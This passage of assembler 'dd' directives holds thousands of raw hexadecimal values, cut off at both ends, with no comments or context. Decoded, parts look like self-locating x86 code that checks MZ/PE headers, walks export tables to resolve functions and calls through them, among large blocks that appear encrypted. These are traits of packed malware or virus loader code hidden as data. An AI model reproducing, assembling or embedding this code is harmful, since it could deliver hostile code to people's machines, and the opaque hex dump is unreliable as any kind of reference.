0DB9FC46Fh, 0F6E08E8Fh, 24752FEBh dd 244C010Fh, 6A5AF5FEh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0F499C351h, 6C1C7F03h dd 0C2833439h, 0CA816024h, 1C42B5E0h, 896661F8h, 13E9FC72h dd 59000000h, 3945E71Ah, 0B8AB2033h, 97C9E88Ch, 0E455832Bh dd 0CEC18C11h, 1B8B0F10h, 60000000h, 12E9h, 0CA99A700h dd 0B261F503h, 5E123514h, 58909738h, 60C48CD4h, 89666161h dd 0F8600272h, 61CDCD80h, 1810Fh, 0CDF90000h, 6E904h, 0B2E70000h dd 0D4E3D2EAh, 8FE9F8h, 830F0000h, 1, 0C858BFCh, 0F906519Dh dd 9CB7B58Dh, 81600651h, 0CF50DDCBh, 92D98055h, 0AE961h dd 54EB0000h, 0E1B86A7h, 0FCAF6546h, 5662858Dh, 6A0651h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 68DD23C3h, 6A19F9E1h, 0F60B5B8h, 38Bh, 92C28000h, 11E9h dd 0FC003A00h, 42209425h, 0EAC9E5A9h, 0EF5841C7h, 0FF61D20Eh dd 0FE9D0h, 8D3C0000h, 0ECC46E3Ch, 5D13B0F3h, 0DA0D2587h dd 758589F9h, 0F065196h, 0C86h, 5E96000h, 7F000000h, 47189AA3h dd 6A6161h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 11679DC3h, 4ECF8CADh, 0E9F5BC49h, 0Fh, 2D61B60Fh dd 5199ECAAh, 0CD5A8F0h, 6037A2C5h, 0E9DFBF0Fh, 11h, 0AE10C602h dd 7B8484EFh, 9FA49419h, 0E9F098FBh, 858B617Ch, 6519675h dd 158C0Fh, 10E90000h, 27000000h, 0EBB3FC46h, 0FD301F4Ah dd 626FD3D4h, 0C3FD2161h, 85C38160h, 66484E5Ch, 9F3BD981h dd 83FC6061h, 519D0CBDh, 850F0006h, 32h, 0C85C7F9h, 3F06519Dh dd 6A000101h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 5242C350h, 0C7C4D71Dh, 0E107A70Bh dd 0DE9FCF5h, 0F000000h, 782h, 18D0F00h, 0F5000000h, 20CDh dd 0C00B0000h, 708D3774h, 7DBD8B0Ch, 0B9065196h, 8, 492275A6h dd 488BFA75h, 799D8B30h, 3B065196h, 157F3458h, 0D26BD38Bh dd 8BCA0304h, 75858901h, 0EB065196h, 0EB008B04h, 858B61C5h dd 6519675h, 56006ACFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 398CF701h, 7E30CA14h, 0BE9E17Ah dd 5B000000h, 0AF2057A7h, 0A938F041h, 800FDD53h, 0Dh, 8E9h dd 394F2B00h, 0DE7BF305h, 51006AF5h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 8BF8121Eh dd 83E9C0h, 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h dd 68850Fh, 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h dd 8B000000h, 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch dd 1C738B20h, 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h dd 3178B1Ch, 83202454h, 28A04C7h, 874C084h, 0E875033Ah dd 0F2EB4243h, 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h dd 5E5F1C24h, 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E8CA8BFFh dd 0Ch, 22024028h, 0F24E564Fh, 11C5D593h, 98DBDE81h, 0B45F7695h dd 0F8C781CEh, 66000058h, 1168F78Bh, 66000016h, 0B8E8C681h dd 8BC28B5Bh, 14E917h, 0BBEE0000h dd 1C7007D0h, 887B356Fh, 819778Bh, 1361A4B6h, 0F281B43Ch dd 114BC7E7h, 4816C681h, 0C281492Fh, 0AE0E06Eh, 86C08166h dd 0BDF28116h, 0E93C6C7Eh, 11h, 6F7DD7CCh, 97FBECECh, 5FC4AF7Dh dd 0CBE780E2h, 606052BDh, 0D1805850h, 61FC6128h, 0C981078Fh dd 1CA622DDh, 6004EF83h, 8B0Fh, 8D0F0000h, 11h, 0CE9h dd 0AD871500h, 0CE3528B2h, 912D1E06h, 0F4B61C5h, 0FFFF7685h dd 0F0BF0FFFh, 0E5E9h, 0EE4D1000h, 3271DCFFh, 0E0A1D1Fh dd 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h, 60206020h dd 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h dd 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h, 53752060h dd 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h, 60D650F0h dd 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h, 60F76DB9h dd 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h, 0EDF73D57h dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 0A1E357Dh, 0C1A8000Eh, 0FD54A766h, 0E02B43F2h, 0DE90A5Bh dd 6800000Dh, 651A23Ch, 0FCDF94E9h, 0A38868FFh, 8AE90651h dd 68FFFCDFh, 651A45Dh, 0FCDF80E9h, 0A52968FFh, 76E90651h dd 68FFFCDFh, 651A591h, 0FCDF6CE9h, 0A64868FFh, 62E90651h dd 68FFFCDFh, 651A816h, 0FCDF58E9h, 0A90B68FFh, 4EE90651h dd 68FFFCDFh, 651A9BCh, 0FCDF44E9h, 0AA9D68FFh, 3AE90651h dd 68FFFCDFh, 651AB64h, 0FCDF30E9h, 5B91DCFFh, 6963F0DEh dd 7C70FEECh, 854711FFh, 8F4D1A08h, 0D062C112h, 0DAC84587h dd 0E9D75488h, 0F7E5629Ah, 1DF67369h, 96F78056h, 3C17B7D5h dd 0F5F77DB1h, 0DF1D6553h, 0B4A2693Dh, 98F31ABh, 0AC8C104Ah dd 8B1CB909h, 0DD451A2h, 265B4037h, 5A48CEBEh, 5240D10Bh dd 0D54DCA02h, 0BB8249A3h, 0B84983CDh, 73F112E2h, 0A0AC9AB4h dd 73048A2Ch, 0F8E6880Eh, 1A5D3368h, 0FCB7D839h, 8573F076h dd 855BFDFFh, 0B7D839EFh, 0F5827037h, 2C7D66F7h, 3D04F888h dd 38C9034Fh, 4587CDBBh, 2DAFB5A3h, 2533C8Bh, 59D6165Eh dd 2F26D3F2h, 5680951h, 7D7E0000h, 6553F5F7h, 0ADEE751Fh dd 2736A0D7h, 62E86EBEh, 0EDB43AC0h, 0F5769F2Eh, 75061E87h dd 0F4DC80F8h, 7CE1572Dh, 0E8AFB474h, 0D8D16512h, 9D23A9B7h dd 0D14E25FBh, 2B37B7D8h, 72480FB1h, 0B7D8D205h, 0C8958309h dd 0DEC77214h, 3D3A108Dh, 0D1B7D8D1h, 0EDD6C54Bh, 0D3467F9Ch dd 4098512Fh, 0D000000h, 0A06741F3h, 367403D9h, 1CA2BE27h dd 0E6EEC48Bh, 6B474D0h, 97586547h, 7506468Bh, 12E88A10h dd 0B7D88561h, 0CCE93A23h, 512F72F9h, 53481604h, 0D879FA7Dh dd 10961CB7h, 0CC977Fh, 7D0C0000h, 6553F5F7h, 8DF77C18h dd 0DE6406C6h, 4230D258h, 2A18BA32h, 4F25A25Ah, 0BE272A35h dd 8D0AC292h, 791BD19Fh, 6215EBB2h, 0B4BE2733h, 73259D2Eh dd 0C0FCD299h, 2EB474C5h, 81B32BA8h, 0C3996027h, 0B7D914B4h dd 844BDC62h, 284F86AEh, 0BB8208AEh, 9EE480CDh, 0B036BC5Eh dd 0D291581Fh, 6B70025Ch, 0D637F6D1h, 0B2D820DCh, 0BDCAB849h dd 0DFBC23Fh, 9F78844h, 254F187Ch, 77199F5Dh, 659F6BF1h dd 6242B478h, 0A1E6BC0h, 0AEB90000h, 0BEC3B12Eh, 8BD3C13Eh dd 9AE6D451h, 6EF7E562h, 83A0F16Eh, 0A926A6AFh, 0B835B7BBh dd 0C441BBCAh, 0D14E8ED6h, 1C5B31F8h, 0FAB7D594h, 0F07D941Fh dd 0C3917FFCh, 0D7C58C09h, 2CB25488h, 41F3109Bh, 0D57775FFh dd 3B02C94Fh, 0D173977Ch, 3ACB9E38h, 73DC7064h, 2EF5BCB4h dd 0D8491F58h, 9369EFB7h, 0B7D849E4h, 0B61BAC32h, 9E40BCC8h dd 29F09218h, 0F0B7353Bh, 0D8495D1Ah, 9A2BB1B7h, 0D849AFC4h dd 9BECD5B7h, 2F37477Eh, 0B9C8B651h, 0B55795DBh, 8107A92Fh dd 5593E4BAh, 0FD83B7D8h, 0EB846Ch, 0F6BD0000h, 0D8555720h dd 4331B7B7h, 0A732C339h, 53F5F77Dh, 0CDA31865h, 0BE2736AAh dd 0BE60E66Ch, 272A9CE8h, 407B09BEh, 27330D6Ah, 0AEC99FBEh dd 60BE2733h, 69EF75DAh, 7676FEECh, 0D0385CD4h, 0C5893309h dd 0F177B474h, 858FC74h, 0B6C4279h, 0BB7D915h, 0D75DFF85h dd 8FB48A51h, 7FAE285Ah, 727332F9h, 5C78DCBh, 881EDD63h dd 0BD841523h, 0BC9937F6h, 0DADF5763h, 0DA125B49h, 9F5D2513h dd 69E677FDh, 0EFACB4A2h, 9355E19h, 0A42AB0BEh, 0FDEB7C02h dd 8F4D1470h, 7315D7A1h, 6B9B67EDh, 5442B3A9h, 8D25DB2h dd 7A050000h, 4A170582h, 5F271592h, 2632209Dh, 323B29A6h dd 37EC3DBAh, 0FD7A72FBh, 0C89430Fh, 1895571Eh, 25A25A2Ah dd 0C8AF854Ch, 46B7D593h, 0F07DE06Bh, 0C3917FFCh, 0A57B4209h dd 0BE2736D2h, 0B02DBE44h, 8DF77D25h, 0E16709C3h, 0AFD5945Bh dd 3B3245D3h, 0A08E30C1h, 96551CD0h, 6FF69ECFh, 8645CB6Dh dd 3D2BC4CAh, 941ABC30h, 12198603h, 9D644CF0h, 747BADC7h dd 643A01B4h, 0B7D88B13h, 87EC7D03h, 0C807F0C8h, 2CB2F03Fh dd 38A6EBC1h, 0FB9DB9A0h, 0C18B4A11h, 4A821B00h, 0E7BD8415h dd 0BBEE17C5h, 0DD87CDBBh, 0E8D65C90h, 39BF619Bh, 0E79911B3h dd 2470460Dh, 2AB5B11Ch, 61EFDDA4h, 92807C03h, 48107C5h dd 0C28E4E16h, 3B2F939Ch, 0FD7ACF71h, 0DA000007h, 0E2D04D8Fh dd 0F0DE5B91h, 0FBE96666h, 10FE7B71h, 0B7088547h, 43B9C66Ch dd 528AD8C6h, 6498E7D5h, 716BF9E7h, 7E541BF4h, 0B7D592F9h dd 7DB7421Dh, 0DB53F5F7h, 5E9EE7B9h, 0D13B11D8h, 7FB474D0h dd 50047CF9h, 0F8DBB178h, 96AE2B3Dh, 155B4910h, 0E46C5AD7h dd 5D8793AFh, 749F087h, 0D9981EBEh, 0DE6485D1h, 0D090C43Ch dd 21A74983h, 370DD49Bh, 0BE074840h, 5ABF3D45h, 63E9E36Ch dd 39350BD2h, 0D3B45965h, 0C898864Dh, 175F4D14h, 0BFAD33D5h dd 2CA93AB2h, 60ADA665h, 5110CC98h, 0FB8C3479h, 0E385470Dh dd 18DFC96Bh, 0C9883359h, 0DA6BE388h, 7C4F3D13h, 4201AE26h dd 0CB3F0F9h, 0CD991F30h, 429642B1h, 317BD072h, 0A6000007h dd 0B6A421DBh, 0C4B22FADh, 0D7C542BAh, 0E4D24F8Dh, 93E4619Bh dd 17D5A290h, 26A6AC9Ah, 38B4BBA9h, 4587CDBBh, 5228EFC8h dd 0B7D59125h, 0F3830EE9h, 0CAA06741h, 0B47953DCh, 1B09D056h dd 2C1A9755h, 8E06A824h, 11CB9AEAh, 9C63E96Fh, 233246C6h dd 5B31F8AEh, 0BE07B01Ch, 22EE74FAh, 42B52F10h, 0C9C61BBDh dd 0E000006h, 1E0C8943h, 2C1A9755h, 3F2DAA22h, 4C3AB735h dd 0FB4CC903h, 7F7D0A28h, 8E4E1402h, 0A05C2311h, 0AD2F3523h dd 0BA905730h, 0B7D591BDh, 0F3EB7651h, 0CAA06741h, 0B4795709h dd 8A783FC5h, 978502FAh, 0BEA6ABC9h, 2FB53BB1h, 0ACCBA168h dd 6AB7D597h, 39B153E4h, 10E6AD07h, 0AE27B45Eh, 6C0BE1A8h dd 0AABE2736h, 10D79E24h, 0F6985422h, 63F1DF70h, 5E25EC69h dd 2736EF88h, 8991FBEh, 7B514A1Ah, 0BE2736FCh, 3695E2B8h dd 0F379BE27h, 0BB82088Eh, 3769FDFCh, 473575BAh, 8E30C13Bh dd 50226216h, 794F169Ch, 0B473EB13h, 0D3DBA72Dh, 6C48E4A2h dd 61275CAh, 0BAC50000h, 8AD7C542h, 9FE7D552h, 66F2E05Dh dd 72FBE966h, 77ACFD7Ah, 0BD3AB2BBh, 0CC4983CFh, 0D85597DEh dd 0E5629AEAh, 86F450Ch, 6B7D591h, 0DDA4A02Bh, 36374016h dd 51D7BE27h, 2736FC7Bh, 0CD941ABEh, 273680F7h, 77088EBEh dd 3A01FB89h, 4CBAA7Bh, 2BCAE172h, 0AF4B0A73h, 4FF1829Bh dd 5CD91361h, 9727D695h, 3DA8CFA5h, 0E066BE26h, 3A58EB21h dd 3D0F31A9h, 9319BB31h, 0A97F460Dh, 0BE2706CEh, 6229BA40h dd 7495AC8Ch, 1DE46AB4h, 16A7252Fh, 50EEAD74h, 0C92AA488h dd 4F24FA8Bh, 35B7D893h, 0E7DEFB4Ch, 16512F94h, 8BFE794Fh dd 8A10B7D8h, 4011F9h, 0F3860000h, 27502641h, 0E7BE2736h dd 3E14DB61h, 0B474D096h, 4910B238h, 35D7155Bh, 2B481EAFh dd 59B7D91Dh, 82F5CB92h, 94B7D91Dh, 0ECB94F0Eh, 4869C513h dd 607DCEB7h, 512F9865h, 14277h, 0DDA4EC00h, 27367007h dd 87189EBEh, 6F11CB99h, 0EFACBAA8h, 27365E19h, 0A42AB0BEh dd 12653B02h, 4BE2736h, 7967F87Eh, 604EF0ECh, 0F1EB7410h dd 7C43C94Fh, 6305C78Eh, 0BCAA4CDDh, 0BC6EFFB4h, 623FCFC8h dd 885615DCh, 39A44C6Dh, 9167E475h, 0BE268FF3h, 0B98F0C54h dd 0BE269EBEh, 0C744CA50h, 0BA188BD9h, 6535C23Bh, 90A02587h dd 0DE41BFD1h, 50D65C90h, 6FF9E7AEh, 3064DC6Dh, 66ECE070h dd 7AABC99Fh, 1503B474h, 44385A49h, 0B41341C4h, 0B2389D2Eh dd 319BBD35h, 0F477946Ah, 5E25AE27h, 72B6C197h, 0D258BE08h dd 8727BFCh, 84159BBEh, 0E4D2991Fh, 0D39A619Bh, 8727AFDh dd 0FFD59CBEh, 0BE087278h, 0F98A1096h, 0BC18E7Ch, 0B46D413Fh dd 0CF24C642h, 444h, 9714C893h, 0A724D8A9h, 0B22FADB9h dd 0C744B8C4h, 0D3508CD9h, 0C491A182h, 0D59D8B08h, 0A5AC9A17h dd 0B4BCAA27h, 1BE2BB38h, 0D58E3245h, 7E09E4B7h, 30ACB6A4h dd 8977088Eh, 4B3900FCh, 9D23C507h, 0DAC88F0Ch, 6498E78Dh dd 115F4DDEh, 5C2614DBh, 36EE895Fh, 9A20BE27h, 3F068314h dd 27C90351h, 7304DAA1h, 0A3BE2736h, 0A4018C1Dh, 5123ABE5h dd 968444B1h, 47C0DCFh, 0DBB17850h, 0B47424F9h, 0A86F1197h dd 0A9E453E9h, 20B11582h, 0D8B7294Ah, 0A6945BB7h, 0FB8123D9h dd 1330816Ah, 512FA4B2h, 8E2Ch, 0F77DA100h, 186553F5h dd 186C42E4h, 6DBE272Bh, 7A68E5E7h, 0D850F2EAh, 97854CA4h dd 0B98011CBh, 74C391E3h, 32F97FB4h, 2DBE3E44h, 0AC0438B0h dd 491D0FE5h, 6DF3AE28h, 2DAFB8A6h, 77FBE9B0h, 69F6E475h dd 2DB3A773h, 822442B4h, 34F2Dh, 0FFFD8800h, 0DCF9482h dd 18D4A290h, 29A3AD9Bh, 3BB1BEACh, 7CB66DBEh, 8E7CF9F3h dd 9D8B08C4h, 0AB9916D6h, 0D1AA27A5h, 8D43340Ah, 0F8D3B7D5h dd 0FCF07D6Dh, 9C3917Fh, 0CE0E5442h, 0A435C03Dh, 0A334A8B6h dd 8B2DAFB5h, 15D4D79Dh, 0EBEF05E5h, 0D7A076AEh, 37BE2671h dd 0A5642BB1h, 5826C81Fh, 2C7FE5A4h, 33A01DAEh, 7C540876h dd 0E495DFB5h, 0F57BB474h, 7A57B48Ah, 0A0D4D3CFh, 49AB8148h dd 6511F9F8h, 0F887ED77h, 88ED7E04h, 74D3B02h, 1A9234C5h dd 0F1C78E66h, 10447FA3h, 726027ADh, 7F6DEAE2h, 452FFBF1h dd 0A2E4F9F8h, 29EAB00h, 2E390000h, 3E4331AEh, 0B5341BEh dd 1A6654D1h, 0EE7765E2h, 32071EEh, 29A6262Fh, 38B5373Bh dd 44C13B4Ah, 51CE0E56h, 9CDBB178h, 7AB7D58Dh, 0F77D149Fh dd 9E8C53F5h, 0B2791BD1h, 27369BDCh, 6FF57BBEh, 723266DEh dd 9D64EAE2h, 7520A9C7h, 0C436F5B4h, 0DEE1831h, 0AB319627h dd 8C1EC12Eh, 633900E8h, 0AE26E311h, 854711FFh, 0A2EA24E3h dd 1C368912h, 8A491096h, 0C2F579C7h, 55C051FAh, 0B440007Fh dd 0EFC58CFDh, 1990C88h, 0C294E24h, 67ED0199h, 73EB7C02h dd 0A9AAEC1h, 0D56314EAh, 2DB30198h, 61AFD46Eh, 5A2614DBh dd 744A11A2h, 0F7E5F238h, 508CD8C6h, 8CB028CAh, 0C0965D24h dd 3663AB7h, 7940D157h, 0B8B5F1A3h, 0D2991FF9h, 0E3609CE4h dd 0A16D6FF5h, 0FF2729C1h, 0BD13680Ah, 1A000001h, 22108D4Fh dd 301E9B51h, 3B29A626h, 503EBB31h, 0F748C507h, 8379062Ch dd 924A1806h, 0A4582715h, 0B12B3927h, 0BE945B34h, 0B7D58CB9h dd 7DF7825Dh, 9C38DF7h, 6EF3E167h, 0CE46E86Eh, 0A57B42AAh dd 0B474C723h, 25920F95h, 0FD4FF1F3h, 2AF17775h, 26FB2054h dd 0A168EEAEh, 3F2DAFB3h, 0BE29BA32h, 0D7D76FE8h, 80680CC1h dd 2C9E3B9h, 8E55FB82h, 6A53BFB8h, 38C94FFFh, 33AB4DD3h dd 19E0A701h, 53FB7C52h, 951BFF6Ah, 0CE662E04h, 62E8F5BCh dd 79FED49Bh, 9D053998h, 0D1BF8617h, 94824983h, 0EC7214C8h dd 18A8C22Dh, 15A6FA6Bh, 0BADAAA98h, 0B9133A9h, 0F698541Dh dd 481EEA70h, 7DFB8339h, 0F686DBh, 96E10000h, 66EBD956h dd 73FBE966h, 420EFC79h, 561F0D8Ah, 5BC81996h, 0D14E8ED7h dd 0E05D9FE3h, 0EC6963F2h, 0F97676FEh, 0F4835920h, 22B7D58Bh dd 0F77DBC47h, 8208C48Dh, 212B19E0h, 0FEA21AABh, 0A026A6AEh dd 0D9A503D9h, 0D93B474h, 96DBC990h, 2B4DC556h, 21CDAA80h dd 7A41B7D9h, 0D921D3A4h, 37BD43B7h, 0B714EAB1h, 47AE2B41h dd 23311FC1h, 9E652CA9h, 7ACAFC8h, 48D95FBEh, 30D20A5Ah dd 115ADD5Ah, 0B47B42B2h, 116F99DEh, 66F77DB2h, 0F8882C7Dh dd 9319D39Ch, 482F05CCh, 0C6B2116Fh, 4432AF40h, 0CEA97F3Ch dd 40B2116Fh, 7F6D34BAh, 9259FBF1h, 116FBBBCh, 4FD55BB2h dd 8E551CBEh, 7719D3A0h, 6F5C1BF1h, 34BAB211h, 31ABB5A3h dd 5C4A118Fh, 6049DA12h, 0E7E56B0Fh, 0F8F47C6Ah, 120156h dd 4C3A0000h, 5F26C804h, 116FEE89h, 149A20B2h, 941FF883h dd 58FAF27Dh, 40E21A6Ah, 27C90352h, 11B32939h, 0A25A23h dd 0E5874512h, 0CD6F6DF7h, 0B35597DFh, 9E40BCC5h, 0F8F6812h dd 4890000h, 5E08924h, 4, 8704E883h, 815C2404h, 4ECh, 24148900h dd 681768h, 24348900h, 8904EC83h, 5BB241Ch, 4372C277h dd 147AEB81h, 0C3813974h, 0CD033DD3h, 545BDA89h, 8124348Bh dd 4C4h, 8B85000h, 1000000h, 48152F0h, 650F4524h, 81008F5Dh dd 650F4528h, 34FF585Dh, 0C4835E24h, 2434FF04h, 4C4835Ah dd 0FCD298E9h, 66BC04FFh, 913BE487h, 51AC7FB8h, 0FFC50306h dd 3316B4E0h, 0E4CF1A2Ch, 0B233746Bh, 4F6E7B38h, 8363A978h dd 0E338AC68h, 2B823F70h, 3CC05664h, 9CC5BE3Ah, 0D48C3F20h dd 0A79E080Fh, 28BDEC59h, 278AF700h, 0AC2F914Ah, 3AC38F6Bh dd 0E962E435h, 0BAE6830Ch, 0D53EDC7Ah, 0C687CA74h, 623F6821h dd 0C065145Dh, 0AB5EAB7Eh, 5FE6BC64h, 0CBB25F48h, 991CEA66h dd 1AA1D65h, 148E938h, 500000h, 540000h, 580000h, 5C0000h dd 600000h, 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h dd 0E80000h, 0EC0000h, 38h dup(0) dd 55260000h, 50EB0057h, 858D009Fh, 651AD74h, 29898D89h dd 8589064Eh, 651AEB4h, 5E9B58Bh, 85C6064Eh, 64E0401h dd 3D958954h, 68064E1Fh, 0CC8D32CCh, 5D240481h, 0F21D535h dd 78Ch, 1820F00h, 0F8000000h, 24C9B5FFh, 810F064Eh, 0Eh dd 9E9h, 37918F00h, 97424EE6h, 858DD07Ah, 6517D21h, 14D99D89h dd 0D0FF064Eh, 9E8h, 0FDC3EC00h, 76AC6A75h, 0ED809309h dd 85895AF7h, 651AEB8h, 2D89BD01h, 5EE9064Eh, 0B2000000h dd 56F88BA4h, 0AEB4B58Bh, 6890651h, 0AEB48583h, 5E040651h dd 0B58D60C3h, 651AD74h, 6A560FEBh, 0FF36FF00h, 51AEB895h dd 0C6835E06h, 3E8304h, 0C361EC75h, 0ECD6BB66h, 12E8h dd 0FC746500h, 7C7E5AD9h, 91E62058h, 38F5E8C8h, 9CF4174h dd 4E061595h, 81F55E06h, 58AA1EDFh, 5B858D6Eh, 0F0651AFh dd 482h, 65BB6600h, 0E585891Dh, 0E8064E2Ch, 14h, 813A0F7Eh dd 0AC8A597Eh, 0EF6AB616h, 0BE804340h, 0CB2C0EA1h, 0DB5C881h dd 815E6760h, 6CDEE3E0h, 9AC68131h, 9000068h, 4E33318Dh dd 8B09BB06h, 0C38141E4h, 0BE1B8EE5h, 2A8D9D01h, 36FF064Eh dd 3055858Bh, 0E85A064Eh, 13h, 0B27E383Fh, 9BE7D0DBh, 4E3B2BEFh dd 5EBEE73Dh, 0E843840Ch, 8, 3CD26DB6h, 0A5CE12C5h, 2735858Bh dd 5958064Eh, 265AF281h, 0DF81560Ch, 2EE6BBF6h, 7176EA81h dd 0D8817DFEh, 2D756A2Bh, 4DFEA81h, 8F0F773Ch, 6, 203D8D8Bh dd 6652064Eh, 9546E981h, 8A0F068Fh, 13h, 0EE9h, 2BA05100h dd 0AA82826Ah, 6FE0DD6Bh, 81E4A8A9h, 0D2B34CEEh, 52CC8049h dd 0B348C681h, 0F78149D2h, 2C6B1949h, 1EB81h, 850F0000h dd 0FFFFFF5Eh, 3B27F181h, 75E9689Ch, 60000000h, 0A8D88C66h dd 35840F04h, 6A000000h, 0D1B5FF01h, 8D064E25h, 517D2185h dd 89D0FF06h, 4E209D85h, 0C1FE8B06h, 680CEFh, 6A200400h dd 57026A00h, 1000D68h, 9D95FF00h, 0E9064E20h, 32h, 40185C6h dd 6856064Eh, 0A9C530DFh, 24C9B5FFh, 858D064Eh, 6517D21h dd 8589D0FFh, 64E28C1h, 262D858Dh, 6A50064Eh, 56056A20h dd 28C195FFh, 0C361064Eh, 0EB06E0C1h, 0BF000039h, 0BF02CC00h dd 0BF02E400h, 0 dd 24816600h, 3D8D4E45h, 2C85ED74h, 27813520h, 2DC64C4Dh dd 7E8FC4Ch, 5A40C74h, 69C6A20h, 1D867750h, 288D7B48h dd 23888444h, 4A001020h, 69E82120h, 0C0B2537Ah, 0C8EC6C74h dd 52EC0064h, 0BE81220h, 88D2CA72h, 0F6937646h, 0C28EDBDDh dd 0C828AAF3h, 0FE0304F2h, 0C55CB11h, 49EE6A0Dh, 0F46B1B55h dd 4FA610C1h, 19F1F020h, 0F128C973h, 49E82599h, 685115A9h dd 0D4654E6Eh, 4FB89D61h, 11B3C1DFh, 5009B4A3h, 3DE8826Eh dd 0F1BB1237h, 49E82599h, 685115A9h, 0D4654E6Eh, 4FB89210h dd 11B3C1DFh, 0A1B8094Ah, 49E88423h, 112B1A00h, 4DCC65A9h dd 4DCCD4A1h, 49E84837h, 322B7460h, 0C33C84DCh, 59516FF5h dd 0C27D36EFh, 1FE828E0h, 49E822C8h, 8AB6B020h, 6D9CC17Eh dd 6DACA524h, 49E80924h, 8ABE4F20h, 0AEC20B97h, 6E49535h dd 796D94A9h, 4B57966Eh, 8FCAC764h, 7EC25A5h, 49824426h dd 49EBE170h, 11C88420h, 0D611AE3h, 0D692504h, 49F39404h dd 19A84820h, 80D412E3h, 0E47820F3h, 486B0675h, 0BCE88420h dd 42DDF7ABh, 4D00276Eh, 1BE89020h, 1A74E098h, 49EEA02Fh dd 0C2E71220h, 49E80920h, 4500D47Fh, 38E84220h, 0D996077Ah dd 85937959h, 0C3AC66C4h, 0D637DF0h, 49631604h, 0C0168246h dd 0C3ECA064h, 49821AD1h, 49EBC977h, 16C89020h, 356117E3h dd 0D692004h, 49F21604h, 1EAF0920h, 498B90E3h, 6D17866Fh dd 0C636A046h, 805D6F07h, 0FBEE0604h, 686DA910h, 23EE435Dh dd 4A005E20h, 69E88420h, 0C0B7817Fh, 0C8EC055Ch, 5DECB464h dd 0EE84820h, 46DCE777h, 49E817A3h, 9F696F20h, 9917C314h dd 0A1BA424Ah, 49E82123h, 132BCA00h, 4DCC1CA9h, 4DCC60A1h dd 49E81238h, 232B5B62h, 387C9073h, 2316FD2Fh, 1EE84B24h dd 49E893C8h, 8AB76820h, 6D94AD7Fh, 6DAC9324h, 49E81124h dd 8ABFC320h, 59929503h, 0E475A852h, 21EEDE35h, 8D72C7F4h dd 86627670h, 0C28E232Fh, 0C8B053F0h, 0C9C4A024h, 49827945h dd 49EBC971h, 10C89020h, 56111E3h, 0D692004h, 49F51604h dd 18A90920h, 9BB6A8E3h, 578F76EFh, 0FCB5447Ch, 4A659FF0h dd 0C9E84820h, 9080CFF1h, 0FF3CADFAh, 6DEC88F6h, 62A8AC33h dd 0FC631440h, 4FA6269Dh, 0C7D1B7Bh, 28EE0622h, 0FA27A546h dd 0C0E878FFh, 7F9E49Dh, 7E51E226h, 0FC38BDFEh, 6A6DA82Bh dd 23EEC191h, 4A001F20h, 69E82420h, 0C0B7D17Fh, 0C8EC2D5Ch dd 5EECA064h, 0EE84220h, 7B71E277h, 4C01466Eh, 85E84820h dd 79CD84EBh, 85EDEAABh, 0C0E80922h, 1859A3A5h, 5128C126h dd 0F8C3A4A9h, 89DB9671h, 49EAA499h, 2342D720h, 4A004120h dd 69E80920h, 0C0B3477Bh, 0C8EC667Ch, 5FEC0564h, 0AE89020h dd 0E2BA8B73h, 49E2CCA2h, 75561220h, 5FDD391h, 5EA3F48Ch dd 0CC2E1CD9h, 4FA62521h, 49EC7863h, 22B64820h, 0CFE7B847h dd 49E81220h, 0B4576F70h, 6DAC0F87h, 29881224h, 46BA7141h dd 28B0CA11h, 0C0E8C379h, 18EC0064h, 49E81FC9h, 83D23720h dd 0A99E7146h, 0CD49566Eh, 11B693E6h, 0A1B9904Ah, 49E84823h dd 102B7D00h, 4DCC5EA9h, 4DCC4DA1h, 49E88438h, 8B2B1361h dd 0C865EA5h, 49E89FC9h, 0E46ADF20h, 1A4BA25Fh, 5023E5Fh dd 0E710E53Bh, 6D2131DFh, 4982446Eh, 49EBC977h, 16C89020h dd 356117E3h, 0D692004h, 49F51604h, 1EAF0920h, 687FCBE3h dd 28C2FBFBh, 0A172B4F9h, 49E89032h, 0EDA6F838h, 0DF1DA2D9h dd 0F8E92BB3h, 7DCE9945h, 42B61E2Ch, 7E073ADh, 686DAC26h dd 23EEC15Dh, 4A001920h, 69E82420h, 0C0B1D179h, 0C8EC2D6Ch dd 51ECA064h, 8E84220h, 0E3BBE271h, 0C05733F2h, 7ED61BDh dd 2338DB26h, 4A004220h, 69E80920h, 0C0B04778h, 0C8EC6664h dd 5EEC0564h, 9E89020h, 85508B70h, 0CC612BB3h, 4FA63915h dd 0A1BD094Ah, 49E88423h, 142B1F00h, 4DCC4DA9h, 4DCCD4A1h dd 49E84836h, 0F82B7165h, 0F78ECE02h, 0CC655AD6h, 4FA680B1h dd 0A1B9424Ah, 49E82123h, 102BC900h, 4DCC04A9h, 4DCC60A1h dd 49E81239h, 382B5861h, 1784AF82h, 485DC9B2h, 0C0EE6F30h dd 7E015A5h, 0B65F4726h, 0CE83D39Ah, 486DD415h, 1AEE4724h dd 1A2366A0h, 4B81F7ABh, 